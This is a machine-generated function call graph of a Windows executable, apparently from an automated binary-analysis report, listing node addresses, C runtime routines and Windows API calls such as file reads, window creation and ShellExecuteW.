__cinit 74 API calls 85350->85351 85352 4118b9 __IsNonwritableInCurrentImage __initterm 85350->85352 85351->85352 85352->85263 85354 431bcb 85353->85354 85355 40d80c 85353->85355 85356 4092c0 VariantClear 85355->85356 85357 40d847 85356->85357 85422 40eb50 85357->85422 85360 40d877 85425 411ac6 67 API calls 4 library calls 85360->85425 85363 40d888 85426 411b24 67 API calls __mbschr_l 85363->85426 85365 40d891 85427 40f370 SystemParametersInfoW SystemParametersInfoW 85365->85427 85367 40d89f 85428 40d6d0 GetCurrentDirectoryW 85367->85428 85369 40d8a7 SystemParametersInfoW 85370 40d8d4 85369->85370 85371 40d8cd FreeLibrary 85369->85371 85372 4092c0 VariantClear 85370->85372 85371->85370 85373 40d8dd 85372->85373 85374 4092c0 VariantClear 85373->85374 85375 40d8e6 85374->85375 85375->85268 85382 411a1f 67 API calls _doexit 85375->85382 85376->85241 85377->85245 85378->85252 85379->85256 85380->85260 85381->85265 85382->85268 85383->85271 85384->85281 85385->85289 85386->85299 85390 417004 85387->85390 85389 416f70 85389->85279 85389->85304 85390->85389 85391 417022 Sleep 85390->85391 85395 422452 85390->85395 85392 417037 85391->85392 85392->85389 85392->85390 85393->85308 85394->85285 85396 42245e _raise 85395->85396 85397 422476 85396->85397 85407 422495 _memset 85396->85407 85408 417f23 67 API calls __getptd_noexit 85397->85408 85399 42247b 85409 417ebb 6 API calls 2 library calls 85399->85409 85401 422507 HeapAlloc 85401->85407 85402 42248b _raise 85402->85390 85404 418407 __lock 66 API calls 85404->85407 85407->85401 85407->85402 85407->85404 85410 41a74c 5 API calls 2 library calls 85407->85410 85411 42254e LeaveCriticalSection _doexit 85407->85411 85412 411afc 6 API calls __decode_pointer 85407->85412 85408->85399 85410->85407 85411->85407 85412->85407 85413->85311 85414->85320 85415->85318 85416->85342 85417->85345 85419 41848c 85418->85419 85420 41696e __encode_pointer 6 API calls 85419->85420 85421 4184a4 85419->85421 85420->85419 85421->85350 85466 40eb70 85422->85466 85425->85363 85426->85365 85427->85367 85470 401f80 85428->85470 85430 40d6f1 IsDebuggerPresent 85431 431a9d MessageBoxA 85430->85431 85432 40d6ff 85430->85432 85433 431ab6 85431->85433 85432->85433 85434 40d71f 85432->85434 85563 403e90 75 API calls 3 library calls 85433->85563 85540 40f3b0 85434->85540 85438 40d73a GetFullPathNameW 85560 401440 127 API calls _wcscat 85438->85560 85440 40d77a 85441 40d782 85440->85441 85442 431b09 SetCurrentDirectoryW 85440->85442 85443 40d78b 85441->85443 85564 43604b 6 API calls 85441->85564 85442->85441 85552 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85443->85552 85446 431b28 85446->85443 85448 431b30 GetModuleFileNameW 85446->85448 85450 431ba4 GetForegroundWindow ShellExecuteW 85448->85450 85451 431b4c 85448->85451 85453 40d7c7 85450->85453 85565 401b70 85451->85565 85452 40d795 85459 40d7a8 85452->85459 85561 40e1e0 97 API calls _memset 85452->85561 85457 40d7d1 SetCurrentDirectoryW 85453->85457 85457->85369 85459->85453 85562 401000 Shell_NotifyIconW _memset 85459->85562 85460 431b66 85572 40d3b0 75 API calls 2 library calls 85460->85572 85463 431b72 GetForegroundWindow ShellExecuteW 85464 431b9f 85463->85464 85464->85453 85465 40eba0 LoadLibraryA GetProcAddress 85465->85360 85467 40d86e 85466->85467 85468 40eb76 LoadLibraryA 85466->85468 85467->85360 85467->85465 85468->85467 85469 40eb87 GetProcAddress 85468->85469 85469->85467 85573 40e680 75 API calls 85470->85573 85472 401f90 85574 402940 75 API calls __write_nolock 85472->85574 85474 401fa2 GetModuleFileNameW 85575 40ff90 85474->85575 85476 401fbd 85587 4107b0 75 API calls 85476->85587 85478 401fd6 85479 401b70 75 API calls 85478->85479 85480 401fe4 85479->85480 85588 4019e0 76 API calls 85480->85588 85482 401ff2 85483 4092c0 VariantClear 85482->85483 85484 402002 85483->85484 85485 401b70 75 API calls 85484->85485 85486 40201c 85485->85486 85589 4019e0 76 API calls 85486->85589 85488 40202c 85489 401b70 75 API calls 85488->85489 85490 40203c 85489->85490 85590 40c3e0 75 API calls 85490->85590 85492 40204d 85493 40c060 75 API calls 85492->85493 85494 402061 85493->85494 85591 401a70 75 API calls 85494->85591 85496 40206e 85592 4115d0 79 API calls 2 library calls 85496->85592 85498 40207d 85499 42c174 85498->85499 85500 402088 85498->85500 85603 401a70 75 API calls 85499->85603 85593 4115d0 79 API calls 2 library calls 85500->85593 85503 42c189 85604 401a70 75 API calls 85503->85604 85504 402093 85504->85503 85505 40209e 85504->85505 85594 4115d0 79 API calls 2 library calls 85505->85594 85508 42c1a7 85510 42c1b0 GetModuleFileNameW 85508->85510 85509 4020a9 85509->85510 85511 4020b4 85509->85511 85605 401a70 75 API calls 85510->85605 85595 4115d0 79 API calls 2 library calls 85511->85595 85514 4020bf 85516 402107 85514->85516 85525 42c20a _wcscpy 85514->85525 85596 401a70 75 API calls 85514->85596 85515 42c1e2 85606 40df50 75 API calls 85515->85606 85519 402119 85516->85519 85516->85525 85518 42c1f1 85607 401a70 75 API calls 85518->85607 85522 42c243 85519->85522 85598 40e7e0 76 API calls 85519->85598 85523 4020e5 _wcscpy 85597 401a70 75 API calls 85523->85597 85524 42c201 85524->85525 85608 401a70 75 API calls 85525->85608 85528 402132 85599 40d030 76 API calls 85528->85599 85530 40213e 85532 4092c0 VariantClear 85530->85532 85535 402148 85532->85535 85533 402184 85537 4092c0 VariantClear 85533->85537 85535->85533 85600 40d030 76 API calls 85535->85600 85601 40e640 76 API calls 85535->85601 85602 401a70 75 API calls 85535->85602 85539 402196 ctype 85537->85539 85539->85430 85541 42ccf4 _memset 85540->85541 85542 40f3c9 85540->85542 85544 42cd05 GetOpenFileNameW 85541->85544 86269 40ffb0 76 API calls ctype 85542->86269 85544->85542 85546 40d732 85544->85546 85545 40f3d2 86270 410130 SHGetMalloc 85545->86270 85546->85438 85546->85440 85548 40f3d9 86275 410020 88 API calls __wcsicoll 85548->86275 85550 40f3e7 86276 40f400 85550->86276 85553 42b9d3 85552->85553 85554 41025a LoadImageW RegisterClassExW 85552->85554 86331 443e8f EnumResourceNamesW LoadImageW 85553->86331 86330 4102f0 7 API calls 85554->86330 85557 40d790 85559 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85557->85559 85558 42b9da 85559->85452 85560->85440 85561->85459 85562->85453 85563->85440 85564->85446 85566 401b76 _wcslen 85565->85566 85567 41171a 75 API calls 85566->85567 85570 401bc5 85566->85570 85568 401bad _memcpy_s 85567->85568 85569 41171a 75 API calls 85568->85569 85569->85570 85571 40d3b0 75 API calls 2 library calls 85570->85571 85571->85460 85572->85463 85573->85472 85574->85474 85609 40f5e0 85575->85609 85577 40ffa6 85577->85476 85580 42b6d8 85581 42b6e6 85580->85581 85665 434fe1 85580->85665 85582 413a88 ___wtomb_environ 67 API calls 85581->85582 85584 42b6f5 85582->85584 85585 434fe1 106 API calls 85584->85585 85586 42b702 85585->85586 85586->85476 85587->85478 85588->85482 85589->85488 85590->85492 85591->85496 85592->85498 85593->85504 85594->85509 85595->85514 85596->85523 85597->85516 85598->85528 85599->85530 85600->85535 85601->85535 85602->85535 85603->85503 85604->85508 85605->85515 85606->85518 85607->85524 85608->85535 85669 40f580 85609->85669 85611 40f5f8 _strcat ctype 85677 40f6d0 85611->85677 85616 42b2ee 85706 4151b0 85616->85706 85618 40f679 85618->85616 85619 40f681 85618->85619 85693 414e94 85619->85693 85623 40f68b 85623->85577 85628 452574 85623->85628 85625 42b31d 85712 415484 85625->85712 85627 42b33d 85629 41557c _fseek 105 API calls 85628->85629 85630 4525df 85629->85630 86214 4523ce 85630->86214 85633 4525fc 85633->85580 85634 4151b0 __fread_nolock 81 API calls 85635 45261d 85634->85635 85636 4151b0 __fread_nolock 81 API calls 85635->85636 85637 45262e 85636->85637 85638 4151b0 __fread_nolock 81 API calls 85637->85638 85639 452649 85638->85639 85640 4151b0 __fread_nolock 81 API calls 85639->85640 85641 452666 85640->85641 85642 41557c _fseek 105 API calls 85641->85642 85643 452682 85642->85643 85644 4138ba _malloc 67 API calls 85643->85644 85645 45268e 85644->85645 85646 4138ba _malloc 67 API calls 85645->85646 85647 45269b 85646->85647 85648 4151b0 __fread_nolock 81 API calls 85647->85648 85649 4526ac 85648->85649 85650 44afdc GetSystemTimeAsFileTime 85649->85650 85651 4526bf 85650->85651 85652 4526d5 85651->85652 85653 4526fd 85651->85653 85656 413a88 ___wtomb_environ 67 API calls 85652->85656 85654 452704 85653->85654 85655 45275b 85653->85655 86220 44b195 85654->86220 85658 413a88 ___wtomb_environ 67 API calls 85655->85658 85659 4526df 85656->85659 85661 452759 85658->85661 85662 413a88 ___wtomb_environ 67 API calls 85659->85662 85660 452753 85663 413a88 ___wtomb_environ 67 API calls 85660->85663 85661->85580 85664 4526e8 85662->85664 85663->85661 85664->85580 85666 434ff1 85665->85666 85667 434feb 85665->85667 85666->85581 85668 414e94 __fcloseall 106 API calls 85667->85668 85668->85666 85670 429440 85669->85670 85671 40f589 _wcslen 85669->85671 85672 40f58f WideCharToMultiByte 85671->85672 85673 40f5d8 85672->85673 85674 40f5ad 85672->85674 85673->85611 85675 41171a 75 API calls 85674->85675 85676 40f5bb WideCharToMultiByte 85675->85676 85676->85611 85678 40f6dd _strlen 85677->85678 85725 40f790 85678->85725 85681 414e06 85745 414d40 85681->85745 85683 40f666 85683->85616 85684 40f450 85683->85684 85687 40f45a _strcat _memcpy_s __write_nolock 85684->85687 85685 4151b0 __fread_nolock 81 API calls 85685->85687 85687->85685 85688 42936d 85687->85688 85692 40f531 85687->85692 85828 41557c 85687->85828 85689 41557c _fseek 105 API calls 85688->85689 85690 429394 85689->85690 85691 4151b0 __fread_nolock 81 API calls 85690->85691 85691->85692 85692->85618 85694 414ea0 _raise 85693->85694 85695 414ed1 85694->85695 85696 414eb4 85694->85696 85698 415965 __lock_file 68 API calls 85695->85698 85701 414ec9 _raise 85695->85701 85967 417f23 67 API calls __getptd_noexit 85696->85967 85702 414ee9 85698->85702 85699 414eb9 85968 417ebb 6 API calls 2 library calls 85699->85968 85701->85623 85951 414e1d 85702->85951 86036 41511a 85706->86036 85708 4151c8 85709 44afdc 85708->85709 86207 4431e0 85709->86207 85711 44affd 85711->85625 85713 415490 _raise 85712->85713 85714 4154bb 85713->85714 85715 41549e 85713->85715 85717 415965 __lock_file 68 API calls 85714->85717 86211 417f23 67 API calls __getptd_noexit 85715->86211 85719 4154c3 85717->85719 85718 4154a3 86212 417ebb 6 API calls 2 library calls 85718->86212 85721 4152e7 __ftell_nolock 71 API calls 85719->85721 85723 4154cf 85721->85723 85722 4154b3 _raise 85722->85627 86213 4154e8 LeaveCriticalSection LeaveCriticalSection __wfsopen 85723->86213 85727 40f7ae _memset 85725->85727 85726 42a349 85727->85726 85729 40f628 85727->85729 85730 415258 85727->85730 85729->85681 85731 415285 85730->85731 85732 415268 85730->85732 85731->85732 85734 41528c 85731->85734 85741 417f23 67 API calls __getptd_noexit 85732->85741 85743 41c551 103 API calls 14 library calls 85734->85743 85735 41526d 85742 417ebb 6 API calls 2 library calls 85735->85742 85738 4152b2 85739 41527d 85738->85739 85744 4191c9 101 API calls 6 library calls 85738->85744 85739->85727 85741->85735 85743->85738 85744->85739 85748 414d4c _raise 85745->85748 85746 414d5f 85797 417f23 67 API calls __getptd_noexit 85746->85797 85748->85746 85750 414d95 85748->85750 85749 414d64 85798 417ebb 6 API calls 2 library calls 85749->85798 85764 41e28c 85750->85764 85753 414d9a 85754 414da1 85753->85754 85755 414dae 85753->85755 85799 417f23 67 API calls __getptd_noexit 85754->85799 85757 414dd6 85755->85757 85758 414db6 85755->85758 85782 41dfd8 85757->85782 85800 417f23 67 API calls __getptd_noexit 85758->85800 85761 414d74 _raise @_EH4_CallFilterFunc@8 85761->85683 85765 41e298 _raise 85764->85765 85766 418407 __lock 67 API calls 85765->85766 85772 41e2a6 85766->85772 85767 41e322 85768 416fb6 __malloc_crt 67 API calls 85767->85768 85770 41e32c 85768->85770 85779 41e31b 85770->85779 85807 4189e6 InitializeCriticalSectionAndSpinCount _raise 85770->85807 85771 41e3b0 _raise 85771->85753 85772->85767 85774 418344 __mtinitlocknum 67 API calls 85772->85774 85772->85779 85805 4159a6 68 API calls __lock 85772->85805 85806 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85772->85806 85774->85772 85776 41e351 85777 41e35c 85776->85777 85778 41e36f EnterCriticalSection 85776->85778 85780 413a88 ___wtomb_environ 67 API calls 85777->85780 85778->85779 85802 41e3bb 85779->85802 85780->85779 85791 41dffb __wopenfile 85782->85791 85783 41e015 85812 417f23 67 API calls __getptd_noexit 85783->85812 85784 41e1e9 85784->85783 85787 41e247 85784->85787 85786 41e01a 85813 417ebb 6 API calls 2 library calls 85786->85813 85809 425db0 85787->85809 85791->85783 85791->85784 85814 4136bc 79 API calls 2 library calls 85791->85814 85793 41e1e2 85793->85784 85815 4136bc 79 API calls 2 library calls 85793->85815 85795 41e201 85795->85784 85816 4136bc 79 API calls 2 library calls 85795->85816 85797->85749 85799->85761 85800->85761 85801 414dfc LeaveCriticalSection LeaveCriticalSection __wfsopen 85801->85761 85808 41832d LeaveCriticalSection 85802->85808 85804 41e3c2 85804->85771 85805->85772 85806->85772 85807->85776 85808->85804 85817 425ce4 85809->85817 85811 414de1 85811->85801 85812->85786 85814->85793 85815->85795 85816->85784 85818 425cf0 _raise 85817->85818 85819 425d03 85818->85819 85822 425d41 85818->85822 85820 417f23 __mbschr_l 67 API calls 85819->85820 85821 425d08 85820->85821 85823 417ebb __mbschr_l 6 API calls 85821->85823 85824 4255c4 __tsopen_nolock 132 API calls 85822->85824 85827 425d17 _raise 85823->85827 85825 425d5b 85824->85825 85826 425d82 __sopen_helper LeaveCriticalSection 85825->85826 85826->85827 85827->85811 85832 415588 _raise 85828->85832 85829 415596 85859 417f23 67 API calls __getptd_noexit 85829->85859 85831 4155c4 85841 415965 85831->85841 85832->85829 85832->85831 85834 41559b 85860 417ebb 6 API calls 2 library calls 85834->85860 85840 4155ab _raise 85840->85687 85842 415977 85841->85842 85843 415999 EnterCriticalSection 85841->85843 85842->85843 85844 41597f 85842->85844 85845 4155cc 85843->85845 85846 418407 __lock 67 API calls 85844->85846 85847 4154f2 85845->85847 85846->85845 85848 415512 85847->85848 85849 415502 85847->85849 85851 415524 85848->85851 85862 4152e7 85848->85862 85916 417f23 67 API calls __getptd_noexit 85849->85916 85879 41486c 85851->85879 85852 415507 85861 4155f7 LeaveCriticalSection LeaveCriticalSection __wfsopen 85852->85861 85859->85834 85861->85840 85863 41531a 85862->85863 85864 4152fa 85862->85864 85866 41453a __fileno 67 API calls 85863->85866 85917 417f23 67 API calls __getptd_noexit 85864->85917 85868 415320 85866->85868 85867 4152ff 85918 417ebb 6 API calls 2 library calls 85867->85918 85870 41efd4 __locking 71 API calls 85868->85870 85871 415335 85870->85871 85872 4153a9 85871->85872 85874 415364 85871->85874 85878 41530f 85871->85878 85919 417f23 67 API calls __getptd_noexit 85872->85919 85875 41efd4 __locking 71 API calls 85874->85875 85874->85878 85876 415404 85875->85876 85877 41efd4 __locking 71 API calls 85876->85877 85876->85878 85877->85878 85878->85851 85880 414885 85879->85880 85884 4148a7 85879->85884 85881 41453a __fileno 67 API calls 85880->85881 85880->85884 85882 4148a0 85881->85882 85920 41c3cf 101 API calls 6 library calls 85882->85920 85885 41453a 85884->85885 85886 41455e 85885->85886 85887 414549 85885->85887 85891 41efd4 85886->85891 85921 417f23 67 API calls __getptd_noexit 85887->85921 85889 41454e 85922 417ebb 6 API calls 2 library calls 85889->85922 85892 41efe0 _raise 85891->85892 85893 41f003 85892->85893 85894 41efe8 85892->85894 85896 41f011 85893->85896 85899 41f052 85893->85899 85943 417f36 67 API calls __getptd_noexit 85894->85943 85945 417f36 67 API calls __getptd_noexit 85896->85945 85897 41efed 85944 417f23 67 API calls __getptd_noexit 85897->85944 85923 41ba3b 85899->85923 85901 41f016 85946 417f23 67 API calls __getptd_noexit 85901->85946 85904 41f058 85906 41f065 85904->85906 85907 41f07b 85904->85907 85905 41f01d 85947 417ebb 6 API calls 2 library calls 85905->85947 85933 41ef5f 85906->85933 85948 417f23 67 API calls __getptd_noexit 85907->85948 85909 41eff5 _raise 85909->85852 85912 41f073 85950 41f0a6 LeaveCriticalSection __unlock_fhandle 85912->85950 85913 41f080 85949 417f36 67 API calls __getptd_noexit 85913->85949 85916->85852 85917->85867 85919->85878 85920->85884 85921->85889 85924 41ba47 _raise 85923->85924 85925 41baa2 85924->85925 85927 418407 __lock 67 API calls 85924->85927 85926 41baa7 EnterCriticalSection 85925->85926 85929 41bac4 _raise 85925->85929 85926->85929 85928 41ba73 85927->85928 85930 4189e6 __alloc_osfhnd InitializeCriticalSectionAndSpinCount 85928->85930 85932 41ba8a 85928->85932 85929->85904 85930->85932 85931 41bad2 ___lock_fhandle LeaveCriticalSection 85931->85925 85932->85931 85934 41b9c4 __commit 67 API calls 85933->85934 85935 41ef6e 85934->85935 85936 41ef84 SetFilePointer 85935->85936 85937 41ef74 85935->85937 85939 41efa3 85936->85939 85940 41ef9b GetLastError 85936->85940 85938 417f23 __mbschr_l 67 API calls 85937->85938 85941 41ef79 85938->85941 85939->85941 85942 417f49 __dosmaperr 67 API calls 85939->85942 85940->85939 85941->85912 85942->85941 85943->85897 85944->85909 85945->85901 85946->85905 85948->85913 85949->85912 85950->85909 85952 414e31 85951->85952 85953 414e4d 85951->85953 85997 417f23 67 API calls __getptd_noexit 85952->85997 85955 414e46 85953->85955 85957 41486c __flush 101 API calls 85953->85957 85969 414f08 LeaveCriticalSection LeaveCriticalSection __wfsopen 85955->85969 85956 414e36 85998 417ebb 6 API calls 2 library calls 85956->85998 85959 414e59 85957->85959 85970 41e680 85959->85970 85962 41453a __fileno 67 API calls 85963 414e67 85962->85963 85974 41e5b3 85963->85974 85965 414e6d 85965->85955 85966 413a88 ___wtomb_environ 67 API calls 85965->85966 85966->85955 85967->85699 85969->85701 85971 41e690 85970->85971 85972 414e61 85970->85972 85971->85972 85973 413a88 ___wtomb_environ 67 API calls 85971->85973 85972->85962 85973->85972 85975 41e5bf _raise 85974->85975 85976 41e5e2 85975->85976 85977 41e5c7 85975->85977 85979 41e5f0 85976->85979 85983 41e631 85976->85983 86014 417f36 67 API calls __getptd_noexit 85977->86014 86016 417f36 67 API calls __getptd_noexit 85979->86016 85980 41e5cc 86015 417f23 67 API calls __getptd_noexit 85980->86015 85982 41e5f5 86017 417f23 67 API calls __getptd_noexit 85982->86017 85986 41ba3b ___lock_fhandle 68 API calls 85983->85986 85989 41e637 85986->85989 85987 41e5d4 _raise 85987->85965 85988 41e5fc 86018 417ebb 6 API calls 2 library calls 85988->86018 85991 41e652 85989->85991 85992 41e644 85989->85992 86019 417f23 67 API calls __getptd_noexit 85991->86019 85999 41e517 85992->85999 85995 41e64c 86020 41e676 LeaveCriticalSection __unlock_fhandle 85995->86020 85997->85956 86021 41b9c4 85999->86021 86001 41e57d 86034 41b93e 68 API calls 2 library calls 86001->86034 86003 41e527 86003->86001 86004 41b9c4 __commit 67 API calls 86003->86004 86013 41e55b 86003->86013 86008 41e552 86004->86008 86005 41b9c4 __commit 67 API calls 86009 41e567 CloseHandle 86005->86009 86006 41e585 86007 41e5a7 86006->86007 86035 417f49 67 API calls 3 library calls 86006->86035 86007->85995 86011 41b9c4 __commit 67 API calls 86008->86011 86009->86001 86012 41e573 GetLastError 86009->86012 86011->86013 86012->86001 86013->86001 86013->86005 86014->85980 86015->85987 86016->85982 86017->85988 86019->85995 86020->85987 86022 41b9d1 86021->86022 86023 41b9e9 86021->86023 86024 417f36 __set_osfhnd 67 API calls 86022->86024 86025 417f36 __set_osfhnd 67 API calls 86023->86025 86033 41ba2e 86023->86033 86026 41b9d6 86024->86026 86027 41ba17 86025->86027 86028 417f23 __mbschr_l 67 API calls 86026->86028 86029 417f23 __mbschr_l 67 API calls 86027->86029 86030 41b9de 86028->86030 86031 41ba1e 86029->86031 86030->86003 86032 417ebb __mbschr_l 6 API calls 86031->86032 86032->86033 86033->86003 86034->86006 86035->86007 86037 415126 _raise 86036->86037 86038 41513a _memset 86037->86038 86039 41516f 86037->86039 86040 415164 _raise 86037->86040 86065 417f23 67 API calls __getptd_noexit 86038->86065 86041 415965 __lock_file 68 API calls 86039->86041 86040->85708 86043 415177 86041->86043 86049 414f10 86043->86049 86044 415154 86066 417ebb 6 API calls 2 library calls 86044->86066 86050 414f4c 86049->86050 86053 414f2e _memset 86049->86053 86067 4151a6 LeaveCriticalSection LeaveCriticalSection __wfsopen 86050->86067 86051 414f37 86118 417f23 67 API calls __getptd_noexit 86051->86118 86053->86050 86053->86051 86056 414f8b 86053->86056 86056->86050 86058 4150a9 _memset 86056->86058 86059 41453a __fileno 67 API calls 86056->86059 86061 4150d5 _memset 86056->86061 86068 41ed9e 86056->86068 86098 41e6b1 86056->86098 86120 41ee9b 67 API calls 3 library calls 86056->86120 86121 417f23 67 API calls __getptd_noexit 86058->86121 86059->86056 86122 417f23 67 API calls __getptd_noexit 86061->86122 86064 414f3c 86119 417ebb 6 API calls 2 library calls 86064->86119 86065->86044 86067->86040 86069 41edaa _raise 86068->86069 86070 41edb2 86069->86070 86071 41edcd 86069->86071 86192 417f36 67 API calls __getptd_noexit 86070->86192 86073 41eddb 86071->86073 86076 41ee1c 86071->86076 86194 417f36 67 API calls __getptd_noexit 86073->86194 86074 41edb7 86193 417f23 67 API calls __getptd_noexit 86074->86193 86079 41ee29 86076->86079 86080 41ee3d 86076->86080 86078 41ede0 86195 417f23 67 API calls __getptd_noexit 86078->86195 86197 417f36 67 API calls __getptd_noexit 86079->86197 86083 41ba3b ___lock_fhandle 68 API calls 86080->86083 86086 41ee43 86083->86086 86084 41ede7 86196 417ebb 6 API calls 2 library calls 86084->86196 86085 41ee2e 86198 417f23 67 API calls __getptd_noexit 86085->86198 86090 41ee50 86086->86090 86091 41ee66 86086->86091 86089 41edbf _raise 86089->86056 86123 41e7dc 86090->86123 86199 417f23 67 API calls __getptd_noexit 86091->86199 86094 41ee6b 86200 417f36 67 API calls __getptd_noexit 86094->86200 86095 41ee5e 86201 41ee91 LeaveCriticalSection __unlock_fhandle 86095->86201 86099 41e6c1 86098->86099 86103 41e6de 86098->86103 86205 417f23 67 API calls __getptd_noexit 86099->86205 86100 41e6d6 86100->86056 86102 41e6c6 86206 417ebb 6 API calls 2 library calls 86102->86206 86103->86100 86105 41e713 86103->86105 86202 423600 86103->86202 86107 41453a __fileno 67 API calls 86105->86107 86108 41e727 86107->86108 86109 41ed9e __read 79 API calls 86108->86109 86110 41e72e 86109->86110 86110->86100 86111 41453a __fileno 67 API calls 86110->86111 86112 41e751 86111->86112 86112->86100 86113 41453a __fileno 67 API calls 86112->86113 86114 41e75d 86113->86114 86114->86100 86115 41453a __fileno 67 API calls 86114->86115 86116 41e769 86115->86116 86117 41453a __fileno 67 API calls 86116->86117 86117->86100 86118->86064 86120->86056 86121->86064 86122->86064 86124 41e813 86123->86124 86125 41e7f8 86123->86125 86126 41e822 86124->86126 86128 41e849 86124->86128 86127 417f36 __set_osfhnd 67 API calls 86125->86127 86129 417f36 __set_osfhnd 67 API calls 86126->86129 86130 41e7fd 86127->86130 86132 41e868 86128->86132 86143 41e87c 86128->86143 86131 41e827 86129->86131 86133 417f23 __mbschr_l 67 API calls 86130->86133 86135 417f23 __mbschr_l 67 API calls 86131->86135 86136 417f36 __set_osfhnd 67 API calls 86132->86136 86144 41e805 86133->86144 86134 41e8d4 86138 417f36 __set_osfhnd 67 API calls 86134->86138 86137 41e82e 86135->86137 86139 41e86d 86136->86139 86140 417ebb __mbschr_l 6 API calls 86137->86140 86141 41e8d9 86138->86141 86142 417f23 __mbschr_l 67 API calls 86139->86142 86140->86144 86145 417f23 __mbschr_l 67 API calls 86141->86145 86146 41e874 86142->86146 86143->86134 86143->86144 86147 41e8b0 86143->86147 86148 41e8f5 86143->86148 86144->86095 86145->86146 86149 417ebb __mbschr_l 6 API calls 86146->86149 86147->86134 86152 41e8bb ReadFile 86147->86152 86151 416fb6 __malloc_crt 67 API calls 86148->86151 86149->86144 86153 41e90b 86151->86153 86154 41ed62 GetLastError 86152->86154 86155 41e9e7 86152->86155 86158 41e931 86153->86158 86159 41e913 86153->86159 86156 41ebe8 86154->86156 86157 41ed6f 86154->86157 86155->86154 86162 41e9fb 86155->86162 86166 417f49 __dosmaperr 67 API calls 86156->86166 86171 41eb6d 86156->86171 86160 417f23 __mbschr_l 67 API calls 86157->86160 86163 423462 __lseeki64_nolock 69 API calls 86158->86163 86161 417f23 __mbschr_l 67 API calls 86159->86161 86164 41ed74 86160->86164 86165 41e918 86161->86165 86162->86171 86173 41ea17 86162->86173 86176 41ec2d 86162->86176 86167 41e93d 86163->86167 86168 417f36 __set_osfhnd 67 API calls 86164->86168 86169 417f36 __set_osfhnd 67 API calls 86165->86169 86166->86171 86167->86152 86168->86171 86169->86144 86170 413a88 ___wtomb_environ 67 API calls 86170->86144 86171->86144 86171->86170 86172 41eb32 86178 41ebbe MultiByteToWideChar 86172->86178 86174 41ea7d ReadFile 86173->86174 86182 41eafa 86173->86182 86179 41ea9b GetLastError 86174->86179 86185 41eaa5 86174->86185 86175 41eca5 ReadFile 86177 41ecc4 GetLastError 86175->86177 86180 41ecce 86175->86180 86176->86171 86176->86175 86177->86176 86177->86180 86178->86171 86181 41ebe2 GetLastError 86178->86181 86179->86173 86179->86185 86180->86176 86188 423462 __lseeki64_nolock 69 API calls 86180->86188 86181->86156 86182->86171 86182->86172 86183 41eb75 86182->86183 86184 41eb68 86182->86184 86183->86172 86189 41ebac 86183->86189 86186 417f23 __mbschr_l 67 API calls 86184->86186 86185->86173 86187 423462 __lseeki64_nolock 69 API calls 86185->86187 86186->86171 86187->86185 86188->86180 86190 423462 __lseeki64_nolock 69 API calls 86189->86190 86191 41ebbb 86190->86191 86191->86178 86192->86074 86193->86089 86194->86078 86195->86084 86197->86085 86198->86084 86199->86094 86200->86095 86201->86089 86203 416fb6 __malloc_crt 67 API calls 86202->86203 86204 423615 86203->86204 86204->86105 86205->86102 86210 414cef GetSystemTimeAsFileTime __aulldiv 86207->86210 86209 4431ef 86209->85711 86210->86209 86211->85718 86213->85722 86219 4523e1 _wcscpy 86214->86219 86215 4151b0 81 API calls __fread_nolock 86215->86219 86216 44afdc GetSystemTimeAsFileTime 86216->86219 86217 452553 86217->85633 86217->85634 86218 41557c 105 API calls _fseek 86218->86219 86219->86215 86219->86216 86219->86217 86219->86218 86221 44b1b4 86220->86221 86222 44b1a6 86220->86222 86224 44b1ca 86221->86224 86225 414e06 138 API calls 86221->86225 86226 44b1c2 86221->86226 86223 414e06 138 API calls 86222->86223 86223->86221 86255 4352d1 81 API calls 2 library calls 86224->86255 86228 44b2c1 86225->86228 86226->85660 86228->86224 86230 44b2cf 86228->86230 86229 44b20d 86231 44b211 86229->86231 86232 44b23b 86229->86232 86233 44b2dc 86230->86233 86235 414e94 __fcloseall 106 API calls 86230->86235 86234 44b21e 86231->86234 86237 414e94 __fcloseall 106 API calls 86231->86237 86256 43526e 86232->86256 86233->85660 86238 44b22e 86234->86238 86240 414e94 __fcloseall 106 API calls 86234->86240 86235->86233 86237->86234 86238->85660 86239 44b242 86241 44b270 86239->86241 86242 44b248 86239->86242 86240->86238 86266 44b0af 111 API calls 86241->86266 86243 44b255 86242->86243 86245 414e94 __fcloseall 106 API calls 86242->86245 86246 44b265 86243->86246 86248 414e94 __fcloseall 106 API calls 86243->86248 86245->86243 86246->85660 86247 44b276 86267 43522c 67 API calls ___wtomb_environ 86247->86267 86248->86246 86250 44b27c 86251 44b289 86250->86251 86253 414e94 __fcloseall 106 API calls 86250->86253 86252 44b299 86251->86252 86254 414e94 __fcloseall 106 API calls 86251->86254 86252->85660 86253->86251 86254->86252 86255->86229 86257 4138ba _malloc 67 API calls 86256->86257 86258 43527d 86257->86258 86259 4138ba _malloc 67 API calls 86258->86259 86260 43528d 86259->86260 86261 4138ba _malloc 67 API calls 86260->86261 86262 43529d 86261->86262 86264 4352bc 86262->86264 86268 43522c 67 API calls ___wtomb_environ 86262->86268 86264->86239 86265 4352c8 86265->86239 86266->86247 86267->86250 86268->86265 86269->85545 86271 410148 SHGetDesktopFolder 86270->86271 86273 4101a3 _wcscpy 86270->86273 86272 41015a _wcscpy 86271->86272 86271->86273 86272->86273 86274 41018a SHGetPathFromIDListW 86272->86274 86273->85548 86274->86273 86275->85550 86277 40f5e0 152 API calls 86276->86277 86278 40f417 86277->86278 86279 42ca37 86278->86279 86280 40f42c 86278->86280 86281 42ca1f 86278->86281 86282 452574 140 API calls 86279->86282 86317 4037e0 139 API calls 7 library calls 86280->86317 86318 43717f 110 API calls _printf 86281->86318 86285 42ca50 86282->86285 86288 42ca76 86285->86288 86289 42ca54 86285->86289 86286 40f446 86286->85546 86287 42ca2d 86287->86279 86290 41171a 75 API calls 86288->86290 86291 434fe1 106 API calls 86289->86291 86306 42cacc ctype 86290->86306 86292 42ca5e 86291->86292 86319 43717f 110 API calls _printf 86292->86319 86294 42ca6c 86294->86288 86295 42ccc3 86296 413a88 ___wtomb_environ 67 API calls 86295->86296 86297 42cccd 86296->86297 86298 434fe1 106 API calls 86297->86298 86299 42ccda 86298->86299 86303 401b70 75 API calls 86303->86306 86306->86295 86306->86303 86307 445051 86306->86307 86310 44b408 86306->86310 86320 44c80c 87 API calls 3 library calls 86306->86320 86321 402cc0 86306->86321 86329 4026a0 75 API calls ctype 86306->86329 86308 41171a 75 API calls 86307->86308 86309 445080 _memcpy_s 86308->86309 86309->86306 86309->86309 86311 44b414 86310->86311 86312 41171a 75 API calls 86311->86312 